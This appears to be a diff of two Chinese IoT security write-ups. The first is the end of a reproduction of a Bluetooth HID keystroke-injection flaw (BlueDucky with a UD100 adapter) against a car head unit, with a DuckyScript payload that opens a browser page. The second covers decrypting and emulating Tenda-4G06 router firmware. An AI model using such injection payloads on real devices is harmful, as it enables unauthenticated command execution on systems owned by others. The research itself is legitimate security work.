这里修改了脚本,增加了等待时间,增加了日志输出,增加了容错。修改脚本后,继续运行重新运行。还是出现了错误。
|
||||
|
||||

|
||||
|
||||
bluetoothctl 是 Linux 系统中用于管理蓝牙设备的交互式命令行工具。接下来我使用bluetoothctl进行检测。输入下面命令启动工具。
|
||||
|
||||
```Bash
|
||||
bluetoothctl
|
||||
|
||||
```
|
||||
|
||||
我这里使用show命令来查看UD100这个蓝牙发射器的详细状态与信息能力。蓝牙发射器是启动的状态,可以正常工作。
|
||||
|
||||
```Markdown
|
||||
show#查看UD100详细信息
|
||||
```
|
||||
|
||||

|
||||
|
||||
这里前面出现了[NEW]说明系统检测到了一个从未见过的新蓝牙设备
|
||||
|
||||
使用scan on命令来扫描附件的蓝牙设备
|
||||
|
||||
```Markdown
|
||||
scan on
|
||||
```
|
||||
|
||||

|
||||
|
||||
然后再开了一个终端,运行BlueDucky,能成功运行,找到了之前失败的原因了,设备没识别到!
|
||||
|
||||

|
||||
|
||||
这里是输入MAC地址
|
||||
|
||||

|
||||
|
||||
然后输入想要执行的payload
|
||||
|
||||
```text
|
||||
REM Opens a private browser to www.iotsec-zone.com
|
||||
|
||||
DELAY 200
|
||||
ESCAPE
|
||||
#延迟0.2ms,按一次esc键
|
||||
|
||||
GUI d #GUI对应windows中的win键,这个是win+d,最小化
|
||||
|
||||
ALT ESCAPE #按顺序切换窗口
|
||||
|
||||
GUI b
|
||||
DELAY 700
|
||||
|
||||
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
|
||||
|
||||
PRIVATE_BROWSER #这是定义了一个宏,表述CTRL+SHIFT+N,开启一个新窗口,而且是隐身状态(无痕模式)
|
||||
DELAY 700
|
||||
|
||||
CTRL l #聚焦到输入框
|
||||
DELAY 300
|
||||
|
||||
STRING www.iotsec-zone.com #输入www.iotsec-zone.com
|
||||
DELAY 300
|
||||
|
||||
ENTER #回车
|
||||
DELAY 300
|
||||
```
|
||||
|
||||

|
||||
|
||||
我全程与车机无任何接触。使用 PoC 配合蓝牙发射器 UD100 成功模拟了 HID设备的输入,目标车机在未进行配对或身份认证的情况下接收并执行了该输入,最终触发了零接触代码执行并自动跳转至目标网页。
|
||||
|
||||
# 0x04总结
|
||||
|
||||
在我对漏洞进行复现的过程中,我发现部分系统版本的主机在处理 HID类蓝牙设备时,没有对连接设备进行强制认证或配对校验,比如没有验证设备是否已经绑定,或者检查设备的 VID/PID 信息。
|
||||
|
||||
这些系统普遍使用**BlueZ**作为蓝牙协议栈核心,由后台守护进程bluetoothd管理蓝牙连接,并通过**D-Bus** 接口向上层程序暴露蓝牙适配器、设备以及配置文件等对象。
|
||||
|
||||
在我的测试中,我发现 BlueZ 的输入服务并不会在 D-Bus 层或 Profile 层执行严格的配对/授权检查。也就是说,当我使用蓝牙发射器( UD100)发射蓝牙信号伪装成一个 HID 设备发起连接时,主机并没有验证该设备是否为已配对或受信任的设备,而是直接通过 BlueZ 建立了 HID 信道。
|
||||
|
||||
一旦 HID 的中断通道建立成功,我发送的 HID 输入报文就会被 BlueZ 直接转发到系统输入子系统中。系统会把这些数据当作来自真实键盘的输入事件,从而实现了零交互的按键注入。这种情况非常危险,因为攻击者可以在无需任何用户操作的情况下,直接向主机输入命令或触发系统行为,造成潜在的远程代码执行风险。
|
||||
@@ -0,0 +1,501 @@
|
||||
# 魔数障眼法:Tenda-4G06 路由器固件解密及模拟实战
|
||||
> Legion_
|
||||
> 来源:https://www.iotsec-zone.com/article/556
|
||||
|
||||
# 魔数障眼法:Tenda-4G06 路由器固件解密及模拟实战
|
||||
### 0X01:分析固件:
|
||||
|
||||
从官网获取路由器固件,可以看到更新时间在一个月前,到手的时候发现是.bin文件格式。
|
||||
|
||||

|
||||
按照常规流程,使用binwalk -E查看该固件的熵值:
|
||||
|
||||

|
||||
熵值接近 1.0, 通常意味着数据是**高度随机**的,有概率是被加密的固件。
|
||||
尝试binwalk -Me直接提取:
|
||||
|
||||

|
||||
|
||||
### 0x02:厂商定制的squashfs文件系统
|
||||
|
||||
面对这个疑似加密的固件,我们思来想去,决定回到这个.bin文件本身:
|
||||
我们知道,固件在十六进制中的完整结构是这样的:
|
||||

|
||||
此时我们把固件放入010 editor中查看它的HEX信息:
|
||||
|
||||

|
||||
|
||||
头部 4 字节 27 05 19 56 是标准 **U-Boot uImage** 魔数,
|
||||
uImage 头有两个 CRC32 字段:**ih_hcrc**(头部校验)和 **ih_dcrc**(数据体校验)。
|
||||
|
||||
#### 使用脚本验证其CRC:
|
||||
|
||||
```bash
|
||||
import struct, zlib
|
||||
d = open("US_4G06V3.0re_V04.06.01.33_multi_TDE01.bin", "rb").read()
|
||||
magic, hcrc, t, sz, load, ep, dcrc = struct.unpack(">7I", d[:28])
|
||||
|
||||
hdr = bytearray(d[:64]); hdr[4:8] = b"\0\0\0\0" # hcrc 字段清零再算
|
||||
print(hex(zlib.crc32(hdr) & 0xffffffff), hex(hcrc)) # 头 CRC → 相等
|
||||
print(hex(zlib.crc32(d[64:64+sz]) & 0xffffffff), hex(dcrc)) # 体 CRC → 相等
|
||||
print(64 + sz == len(d)) # 若长度严丝合缝 → True
|
||||
```
|
||||
|
||||

|
||||
通过逐字节复算 uImage 头部 CRC(**ih_hcrc**)与数据体 CRC(**ih_dcrc**),
|
||||
确认两个校验值均与固件内存储值完全一致,且文件长度满足标准 uImage 结构(64 + sz = total)。
|
||||
加密的数据不可能用标准 crc32 通过完整性校验。证明这个固件是标准的uimage结构,**没有加密。**
|
||||
|
||||
但是找遍整个文件,我们并没有发现**squashfs**和**XZ 压缩格式**的魔数,这点实在蹊跷,
|
||||
通过查阅资料结合不断分析这个文件,我们确认该系列固件使用了定制修改的文件系统结构和压缩方法。
|
||||
不光squashfs的魔数被修改为**y9nice**,同时**XZ压缩格式**的魔数同样被替换成厂商定义的标识。
|
||||
XZ 流的尾部魔数仍是标准值 **59 5A**("YZ"),"YZTenda" 特征串就是「上一条流的尾 "YZ" + 下一条流的头 "Tenda"」相邻拼接出来的。
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### 0x03:顺腾摸瓜:恢复原始文件,魔改XZ工具
|
||||
已知 Squashfs 魔数被篡改为 **y9nice**(原应为 **hsqs**),
|
||||
XZ 流也被一并修改。修复的第一步很直接:把魔数改回去。
|
||||
编写一个Python脚本用于修改魔数:
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
|
||||
# 固件文件名
|
||||
BIN_FILE = "US_4G06V3.0re_V04.06.01.33_multi_TDE01.bin"
|
||||
SQUASHFS_FILE = "V4.bin"
|
||||
|
||||
# 魔数位置和值(根据你前面的分析结果)
|
||||
MAGIC_OFFSET = 0x25AC50
|
||||
OLD_MAGIC = b"y9nice" # 6字节旧魔数
|
||||
NEW_MAGIC = b"hsqs" # 4字节新魔数
|
||||
|
||||
# 读取固件
|
||||
d = open(BIN_FILE, "rb").read()
|
||||
|
||||
# 验证旧魔数是否存在
|
||||
actual_magic = d[MAGIC_OFFSET:MAGIC_OFFSET + len(OLD_MAGIC)]
|
||||
if actual_magic != OLD_MAGIC:
|
||||
print(f"警告: 预期魔数 {OLD_MAGIC},实际是 {actual_magic}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"魔数验证通过: {OLD_MAGIC}")
|
||||
|
||||
# 数据体起始位置 = 魔数起始位置 + 魔数长度
|
||||
data_start = MAGIC_OFFSET + len(OLD_MAGIC)
|
||||
|
||||
# 拼装新Squashfs: 新魔数(4字节) + 数据体
|
||||
squashfs_data = NEW_MAGIC + d[data_start:]
|
||||
|
||||
# 写入文件
|
||||
with open(SQUASHFS_FILE, "wb") as f:
|
||||
f.write(squashfs_data)
|
||||
|
||||
print(f"已生成: {SQUASHFS_FILE},大小 {len(squashfs_data)} 字节")
|
||||
```
|
||||
|
||||

|
||||
完成后得到名为**V4.bin**的文件,在010Editor中也能直观看到:
|
||||

|
||||
|
||||

|
||||
将修改后的文件保存,使用**unsquashfs -s V4.bin**查看文件系统的超级块信息(**superblock**)
|
||||

|
||||
**superblock全部字段合法**,魔数一对上,后面的字段全对了, 这是一个结构完全正确、能够被标准工具识别的 Squashfs 文件系统镜像。
|
||||
这就是最有力的证据:文件结构未作任何改动,**仅有头部标识字段被替换。**
|
||||
|
||||
尝试使用**unsquashfs -d out ./V4.bin**分离:
|
||||

|
||||
遇到了XZ 解压失败,LZMA/XZ 错误码 7 通常表示**数据格式无效或数据损坏**。这是因为厂商的魔改 XZ 数据与标准的 XZ 解压器不兼容。
|
||||
|
||||
更换工具,使用**binwalk**分离:
|
||||

|
||||
虽然分离失败了,但是也成功识别了squashfs 文件块。
|
||||
|
||||
**紧接着,我们需要解决 Squashfs 内部 XZ 流被魔改的问题。**
|
||||
Binwalk、unsquashfs 等主流工具均无法直接处理这份固件,原因在于其 XZ 压缩段使用了非标准的魔数,并将 CRC 校验逻辑反转——任何遵循标准规范的解压工具都会在完整性检查阶段直接报错退出。为此,我们决定对 XZ 工具本身进行定制化魔改。
|
||||
|
||||
#### 魔改点定位:
|
||||
动手前先明确要改什么。固件的 XZ 流有一处格式层改动 + 一处校验层改动:
|
||||

|
||||
|
||||
已知我们需要修改的地方,那就下载XZ源码,开始动手魔改:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
cd /tmp
|
||||
rm -rf xz-5.6.2
|
||||
if [ ! -s xz-5.6.2.tar.gz ]; then
|
||||
curl -sL --retry 3 --retry-delay 5 --max-time 180 -o xz-5.6.2.tar.gz https://tukaani.org/xz/xz-5.6.2.tar.gz \
|
||||
|| curl -sL --retry 3 --max-time 180 -o xz-5.6.2.tar.gz https://github.com/tukaani-project/xz/releases/download/v5.6.2/xz-5.6.2.tar.gz
|
||||
fi
|
||||
tar xf xz-5.6.2.tar.gz
|
||||
cd xz-5.6.2
|
||||
|
||||
python3 - <<'PYEOF'
|
||||
import re
|
||||
|
||||
def patch(path, subs):
|
||||
s = open(path, encoding='utf-8').read()
|
||||
for old, new in subs:
|
||||
if old not in s:
|
||||
print("!! NOT FOUND in %s: %.60r" % (path, old))
|
||||
else:
|
||||
s = s.replace(old, new)
|
||||
open(path, 'w', encoding='utf-8').write(s)
|
||||
print("patched:", path)
|
||||
|
||||
def kill_crc_error(path):
|
||||
"""把 crc/memcmp 校验附近的 return LZMA_DATA_ERROR 全部替换成空语句"""
|
||||
lines = open(path, encoding='utf-8').read().split('\n')
|
||||
n = 0
|
||||
for i, l in enumerate(lines):
|
||||
if 'return LZMA_DATA_ERROR;' in l:
|
||||
window = '\n'.join(lines[max(0, i-4):i])
|
||||
if any(k in window for k in ('crc', 'memcmp', 'raw_check')):
|
||||
lines[i] = l.replace('return LZMA_DATA_ERROR;', ';')
|
||||
n += 1
|
||||
open(path, 'w', encoding='utf-8').write('\n'.join(lines))
|
||||
print("killed %d crc-error returns in %s" % (n, path))
|
||||
|
||||
# 1) 头魔数 -> "Tenda\0"
|
||||
patch("src/liblzma/common/stream_flags_common.c", [
|
||||
('{ 0xFD, 0x37, 0x7A, 0x58, 0x5A, 0x00 }',
|
||||
'{ 0x54, 0x65, 0x6E, 0x64, 0x61, 0x00 } /* Tenda\0 */'),
|
||||
])
|
||||
# 2) 流头/流尾 flags CRC: 反转比较
|
||||
patch("src/liblzma/common/stream_flags_decoder.c", [
|
||||
('crc != read32le', 'crc == read32le'),
|
||||
])
|
||||
# 3) 块头 CRC: 反转比较
|
||||
patch("src/liblzma/common/block_header_decoder.c", [
|
||||
('lzma_crc32(in, in_size, 0) != read32le(in + in_size)',
|
||||
'lzma_crc32(in, in_size, 0) == read32le(in + in_size)'),
|
||||
])
|
||||
# 4) 块数据 Check(memcmp): 反转
|
||||
s = open("src/liblzma/common/block_decoder.c", encoding='utf-8').read()
|
||||
s2 = re.sub(r'memcmpcoder−>block−>rawcheck,\s∗coder−>check\.buffer\.u8,\s∗checksize\s*!=\s*0',
|
||||
'memcmp(coder->block->raw_check, coder->check.buffer.u8, check_size) == 0', s)
|
||||
print("block_decoder memcmp patched:", s2 != s)
|
||||
open("src/liblzma/common/block_decoder.c", 'w', encoding='utf-8').write(s2)
|
||||
# 5) 索引: 删掉错误返回
|
||||
for f in ("src/liblzma/common/index_hash.c",
|
||||
"src/liblzma/common/index_decoder.c",
|
||||
"src/liblzma/common/stream_flags_decoder.c",
|
||||
"src/liblzma/common/block_header_decoder.c",
|
||||
"src/liblzma/common/block_decoder.c"):
|
||||
kill_crc_error(f)
|
||||
PYEOF
|
||||
|
||||
./configure --prefix=/opt/tenda-lzma \
|
||||
--disable-xz --disable-xzdec --disable-lzmadec --disable-lzmainfo \
|
||||
--disable-scripts --disable-doc --disable-debug
|
||||
make -j$(nproc)
|
||||
sudo make install
|
||||
echo "done: /opt/tenda-lzma/lib/"
|
||||
```
|
||||
执行这个脚本,即可得到魔改版XZ工具:
|
||||
|
||||
```bash
|
||||
sudo bash patch_xz_tenda.sh
|
||||
# 只编译 liblzma、不安装 xz CLI 工具(--disable-xz --disable-xzdec ...),避免污染系统自带的 xz。
|
||||
# 预期输出:
|
||||
# patched: src/liblzma/common/stream_flags_common.c
|
||||
# ...
|
||||
# done: /opt/tenda-lzma/lib/
|
||||
```
|
||||
|
||||
### 0x04:成功得到文件系统
|
||||
|
||||
此时我们拿到魔改的XZ工具若直接在宿主机上运行,有可能会污染系统环境,出现莫名其妙的问题,
|
||||
所以我们当下有两条路线:
|
||||
|
||||
一是在本地系统下,将unsquashfs的动态链接 **liblzma.so.5**,用环境变量临时覆盖即可,无需重编 squashfs-tools。
|
||||
|
||||
二是Docker 隔离构建,在Docker中完成固件的提取。
|
||||
权衡利弊后,我选择了路线一,原因是Doceker隔离构建的工作量相对来说更多,这里我们选择更快捷的路线一。
|
||||
在宿主机上执行:
|
||||
|
||||
```bash
|
||||
LD_LIBRARY_PATH=/opt/tenda-lzma/lib \
|
||||
unsquashfs -d newroot V4.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
最终成功得到文件系统**newroot**
|
||||
|
||||
**对整个文件系统提取的小结:**
|
||||
回头再看这个包,它从头到尾都没有加密——但它的确成功地骗过了我们一轮:
|
||||
魔数换成 "y9nice",XZ 头换成 "Tenda\0",CRC 填上占位常量,三处小改动叠在一起,就足以让整套提取工具链集体失明,也足以让人把"解不开"误解成"加密"。
|
||||
解包的过程像剥洋葱:外层 uImage 一验即过,内核 LZMA 一解即出,改回 6 个字节的魔数,superblock 立刻自洽;换上魔改版的工具,文件系统应声落地。
|
||||
也许这正是厂商想要的效果:挡住大多数想随便翻翻的人,但是挡不住真正较劲的人。而我们恰好属于后者。
|
||||
|
||||
### 0x05:固件模拟
|
||||
#### 一、固件&启动项分析
|
||||
|
||||
使用**file**和**firmwalker**对该固件进行分析:
|
||||

|
||||
|
||||

|
||||
可知该固件的架构为MIPS32位,web服务依靠httpd实现。
|
||||
|
||||
然后我们对他的启动项(**etc_ro/inittab**)进行分析:
|
||||
|
||||
```bash
|
||||
::sysinit:/etc_ro/init.d/rcS
|
||||
# 作用:系统启动后立即运行主初始化脚本,
|
||||
# 该脚本通常负责:挂载文件系统、加载内核模块、配置网络、启动服务
|
||||
|
||||
ttyS0::respawn:/sbin/sulogin
|
||||
# 作用:在串口 ttyS0 上启动单用户登录程序
|
||||
# respawn:进程退出后自动重启(保证始终可登录)
|
||||
|
||||
::ctrlaltdel:/bin/umount -a -r
|
||||
# 作用:按下 Ctrl+Alt+Del 时执行
|
||||
# 最终效果:安全卸载文件系统后重启系统
|
||||
|
||||
::shutdown:/usr/sbin/wl leds 0
|
||||
# 作用:系统关机/重启时,关闭 Broadcom 无线芯片(主接口)的 LED 灯
|
||||
|
||||
::shutdown:/usr/sbin/wl -i eth2 leds 0
|
||||
# 作用:系统关机/重启时,关闭 Broadcom 无线芯片(eth2 接口)的 LED 灯
|
||||
|
||||
::shutdown:/usr/sbin/usb led_off
|
||||
# 作用:系统关机/重启时,关闭 USB 接口的 LED 指示灯
|
||||
|
||||
:6:respawn:/bin/monitor
|
||||
# 作用:启动 monitor 监控守护进程(看门狗)
|
||||
# respawn:进程崩溃或被杀死后自动重启,该程序通常由厂商自研,用于监控系统关键服务是否存活
|
||||
```
|
||||
分析rcS主初始化脚本(**部分重点**):
|
||||
|
||||
```bash
|
||||
#! /bin/sh
|
||||
|
||||
PATH=/sbin:/bin:/usr/sbin:/usr/bin/
|
||||
export PATH
|
||||
|
||||
mount -t ramfs none /var/
|
||||
#挂载内存文件系统(ramfs)到 /var,用于存放运行时数据
|
||||
|
||||
mkdir -p /var/etc
|
||||
mkdir -p /var/media
|
||||
mkdir -p /var/webroot
|
||||
mkdir -p /var/etc/iproute
|
||||
mkdir -p /var/run
|
||||
mkdir -p /etc/udhcpc
|
||||
mkdir -p /var/debug
|
||||
#创建 /var 下的运行时目录
|
||||
|
||||
cp -rf /etc_ro/* /etc/
|
||||
cp -rf /webroot_ro/* /webroot/
|
||||
#复制只读分区内容到可写目录
|
||||
|
||||
umount -f /tmp
|
||||
mount -t tmpfs none /tmp -o size=3M
|
||||
#重新挂载 /tmp 为 tmpfs,限制大小为 3MB
|
||||
|
||||
......
|
||||
#挂载其他文件系统
|
||||
|
||||
echo "enable 0 interval 0" >/proc/watchdog_cmd
|
||||
# 禁用硬件看门狗(enable 0)防止系统在调试/分析期间自动重启
|
||||
|
||||
chmod +x /etc/mdev.conf
|
||||
#配置 mdev.conf 可执行权限
|
||||
|
||||
......
|
||||
|
||||
```
|
||||
|
||||
#### 二、Web 服务架构(进程依赖图)
|
||||
|
||||
通过将/bin/文件夹下的**cfmd**、**httpd** 、**ubusd**等文件放入IDA中进行分析,可以得到整个web服务的架构图:
|
||||
|
||||
```bash
|
||||
┌─────────────┐
|
||||
│ monitor │ (inittab 拉起,看门狗/进程守护)
|
||||
└──────┬──────┘
|
||||
│ spawn
|
||||
┌────────────────────┼─────────────────────────┐
|
||||
▼ ▼ ▼
|
||||
┌────────────┐ ┌──────────────┐ ┌────────────────┐
|
||||
│ cfmd │ │ httpd │ │ business_proc │
|
||||
│ 配置后端 │◄─────│ (GoAhead Web) │◄──ubus─┤ 业务逻辑后端 │
|
||||
│ unix socket│ cfm │ │ │ (TCP :10004) │
|
||||
└─────┬──────┘ └──────┬───────┘ └───────┬────────┘
|
||||
│ cfm 消息 │ ubus │
|
||||
▼ ▼ ▼
|
||||
┌────────────┐ ┌──────────────┐ ┌────────────────┐
|
||||
│ ubusd │◄─────│ netctrl │ │ multiWAN │
|
||||
│ 消息总线 │ │ WAN/DDNS 管理 │ │ 多WAN 管理 │
|
||||
└────────────┘ └──────────────┘ └────────────────┘
|
||||
```
|
||||
|
||||
启动顺序:
|
||||
**ubusd → cfmd → business_proc → httpd → monitor → (netctrl/multiWAN 由事件拉起)**
|
||||
|
||||
*关键依赖:*
|
||||
- httpd 启动时需要:/var/run/ubus.sock(ubusd)+ /var/cfm_socket(cfmd)——缺一不可,否则启动即退出。
|
||||
- cfmd 初始化需要读取/擦写 MTD 闪存分区。
|
||||
|
||||
#### 三、环境准备
|
||||
模拟方案选择使用QEMU系统模拟+chroot的方式,让固件的 rootfs 在 guest 内 chroot 运行,用 guest 内核的真实 MTD 子系统
|
||||
1.编写QEMU启动脚本:**boot.sh**
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
# --- 启动 QEMU ---
|
||||
echo "[boot] starting qemu-system-mipsel..."
|
||||
qemu-system-mipsel \
|
||||
-M malta -m 256 \
|
||||
-kernel vmlinux-3.2.0-4-4kc-malta \
|
||||
-hda debian_wheezy_mipsel_standard.qcow2 \
|
||||
-append 'root=/dev/sda1 console=ttyS0' \
|
||||
-nographic -no-reboot \
|
||||
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 \
|
||||
-device pcnet,netdev=net0 \
|
||||
-netdev user,id=net1,net=10.0.3.0/24,hostfwd=tcp::2223-:22,hostfwd=tcp::8081-:80 \
|
||||
-device pcnet,netdev=net1 \
|
||||
-netdev user,id=net2,net=10.0.4.0/24,hostfwd=tcp::2224-:22,hostfwd=tcp::8082-:80 \
|
||||
-device pcnet,netdev=net2 \
|
||||
< qemu_in_fifo
|
||||
|
||||
echo "[boot] qemu exited (rc=$?)"
|
||||
rm -f qemu_in_fifo
|
||||
```
|
||||
|
||||
启动脚本:**sudo ./boot.sh**
|
||||
|
||||

|
||||
等待QEMU启动后,宿主机使用ssh连接QEMU虚拟机:
|
||||
ssh -p 2224 root@127.0.0.1 # 密码root
|
||||
|
||||
2.部署固件:
|
||||
编写初始化引导脚本**guest_install.sh**
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
R=/firm/squashfs-root
|
||||
MD=/lib/modules/3.2.0-4-4kc-malta/kernel
|
||||
log() { echo "[boot] $*"; }
|
||||
|
||||
chroot $R /bin/busybox killall monitor cfmd httpd business_proc ubusd netctrl logdebug cpe_interface_check 2>/dev/null
|
||||
pkill -f "while true; do chroot" 2>/dev/null
|
||||
sleep 2
|
||||
|
||||
rmmod block2mtd phram mtdram physmap 2>/dev/null; sleep 1
|
||||
insmod $MD/drivers/block/loop.ko 2>/dev/null
|
||||
mknod /dev/loop0 b 7 0 2>/dev/null
|
||||
losetup -d /dev/loop0 2>/dev/null
|
||||
dd if=/dev/zero of=/root/mtd_backing bs=1M count=2 2>/dev/null
|
||||
losetup /dev/loop0 /root/mtd_backing 2>/dev/null
|
||||
for m in mtd mtdchar mtd_blkdevs; do insmod $MD/drivers/mtd/$m.ko 2>/dev/null; done
|
||||
for m in map_funcs gen_probe chipreg cfi_probe cfi_util cfi_cmdset_0001; do insmod $MD/drivers/mtd/chips/$m.ko 2>/dev/null; done
|
||||
insmod $MD/drivers/mtd/maps/physmap.ko 2>/dev/null
|
||||
insmod $MD/drivers/mtd/devices/mtdram.ko total_size=8192 erase_size=128 2>/dev/null
|
||||
insmod $MD/drivers/mtd/devices/phram.ko phram=CFG,0x1800000,0xa0000 2>/dev/null
|
||||
insmod $MD/drivers/mtd/devices/block2mtd.ko block2mtd=/dev/loop0,65536 2>/dev/null
|
||||
insmod $MD/drivers/mtd/mtdblock.ko 2>/dev/null
|
||||
for m in llc stp ipv6 bridge; do insmod $MD/net/*/$m.ko 2>/dev/null; done
|
||||
|
||||
CFG_REAL=$(grep '"CFG"' /proc/mtd | awk -F: '{print $1}' | tr -d ' ')
|
||||
CFM_REAL=$(grep block2mtd /proc/mtd | awk -F: '{print $1}' | tr -d ' ')
|
||||
[ -n "$CFG_REAL" ] && [ -n "$CFM_REAL" ] || { log "FATAL: MTD 未就绪"; cat /proc/mtd; exit 1; }
|
||||
|
||||
# ---- chroot 地基 ----
|
||||
mount -t proc proc $R/proc 2>/dev/null
|
||||
mount --bind /dev $R/dev 2>/dev/null
|
||||
mount --bind /dev/pts $R/dev/pts 2>/dev/null
|
||||
mount --bind /sys $R/sys 2>/dev/null
|
||||
|
||||
# ---- br0 网桥 ----
|
||||
ip link add br0 type bridge 2>/dev/null
|
||||
ip link set eth0 master br0 2>/dev/null
|
||||
ip link set eth0 up 2>/dev/null
|
||||
ip link set br0 up 2>/dev/null
|
||||
ip addr add 192.168.0.1/24 dev br0 2>/dev/null
|
||||
|
||||
# ---- sysinit:rcS ----
|
||||
chroot $R /bin/sh /etc_ro/init.d/rcS
|
||||
|
||||
if [ "$CFG_REAL" != "mtd4" ] || [ "$CFM_REAL" != "mtd5" ]; then
|
||||
cfgn=${CFG_REAL#mtd}; cfmn=${CFM_REAL#mtd}
|
||||
mknod $R/dev/mtd4 c 90 $((cfgn*2)); mknod $R/dev/mtd4ro c 90 $((cfgn*2+1))
|
||||
mknod $R/dev/mtd5 c 90 $((cfmn*2)); mknod $R/dev/mtd5ro c 90 $((cfmn*2+1))
|
||||
mknod $R/dev/mtd6 c 90 $((cfmn*2)); mknod $R/dev/mtd6ro c 90 $((cfmn*2+1))
|
||||
mknod $R/dev/mtdblock4 b 31 $cfgn
|
||||
mknod $R/dev/mtdblock5 b 31 $cfmn
|
||||
mknod $R/dev/mtdblock6 b 31 $cfmn
|
||||
fi
|
||||
ln -sf /dev/mtd4 $R/CFG; ln -sf /dev/mtd4 $R/dev/CFG
|
||||
|
||||
cat > /root/fake_mtd <<'EOF'
|
||||
dev: size erasesize name
|
||||
mtd0: 00100000 00010000 "YAMON"
|
||||
mtd1: 002e0000 00010000 "User FS"
|
||||
mtd2: 00020000 00010000 "Board Config"
|
||||
mtd3: 00800000 00020000 "mtdram test device"
|
||||
mtd4: 000a0000 00001000 "CFG"
|
||||
mtd5: 00200000 00010000 "CFM"
|
||||
mtd6: 00200000 00010000 "CFM_BACKUP"
|
||||
EOF
|
||||
umount $R/proc/mtd 2>/dev/null
|
||||
mount --bind /root/fake_mtd $R/proc/mtd
|
||||
|
||||
# monitor 自行拉起 cfmd + netctrl
|
||||
setsid sh -c "while true; do chroot $R /bin/monitor; sleep 2; done" >/tmp/mon_loop.log 2>&1 </dev/null &
|
||||
|
||||
ip addr add 10.0.4.15/24 dev eth2 2>/dev/null
|
||||
ip route add default via 10.0.4.2 dev eth2 2>/dev/null
|
||||
killall python2 2>/dev/null; sleep 1
|
||||
[ -f /root/guest_fwd.py ] && setsid nohup python2 /root/guest_fwd.py >/tmp/fwd.log 2>&1 </dev/null &
|
||||
echo nameserver 10.0.4.3 > /etc/resolv.conf 2>/dev/null
|
||||
|
||||
# ---- 等待服务就绪并汇报 ----
|
||||
for i in $(seq 1 60); do
|
||||
chroot $R /bin/busybox ps 2>/dev/null | grep -q httpd && netstat -tln 2>/dev/null | grep -q ':80 ' && break
|
||||
sleep 1
|
||||
done
|
||||
log "=== 服务进程 ==="
|
||||
chroot $R /bin/busybox ps 2>/dev/null | grep -E 'monitor|cfmd|httpd|ubusd|business|netctrl' | grep -v grep
|
||||
log "=== 端口 80 ==="
|
||||
netstat -tln 2>/dev/null | grep ':80 '
|
||||
log "=== 完成 ==="
|
||||
```
|
||||
|
||||
将启动脚本放入文件系统中,
|
||||
|
||||
```bash
|
||||
#在宿主机上打包
|
||||
tar --numeric-owner -czf /tmp/rootfs.tar.gz squashfs-root
|
||||
sshpass -p root scp -P 2222 /tmp/rootfs.tar.gz [email protected]:/root/
|
||||
#在QEMU中传入文件系统
|
||||
mkdir /firm && tar xzf /root/rootfs.tar.gz -C /firm
|
||||
#解压缩
|
||||
```
|
||||
|
||||
在QEMU中执行**sh guest_install.sh**
|
||||
|
||||

|
||||
|
||||
成功启动web服务:
|
||||
|
||||

|
||||
|
||||
配置完路由后成功进入管理页面:
|
||||
|
||||

|
||||
|
||||
至此,Tenda-4G06路由器固件解密及模拟实战在这里已经全部完成了。
|
||||
|
||||
***最后,在这里感谢父母、崔老师、同学以及IOTsec-Zone社区对本文章的大力支持!***
|
||||
Reference in new issue
Block a user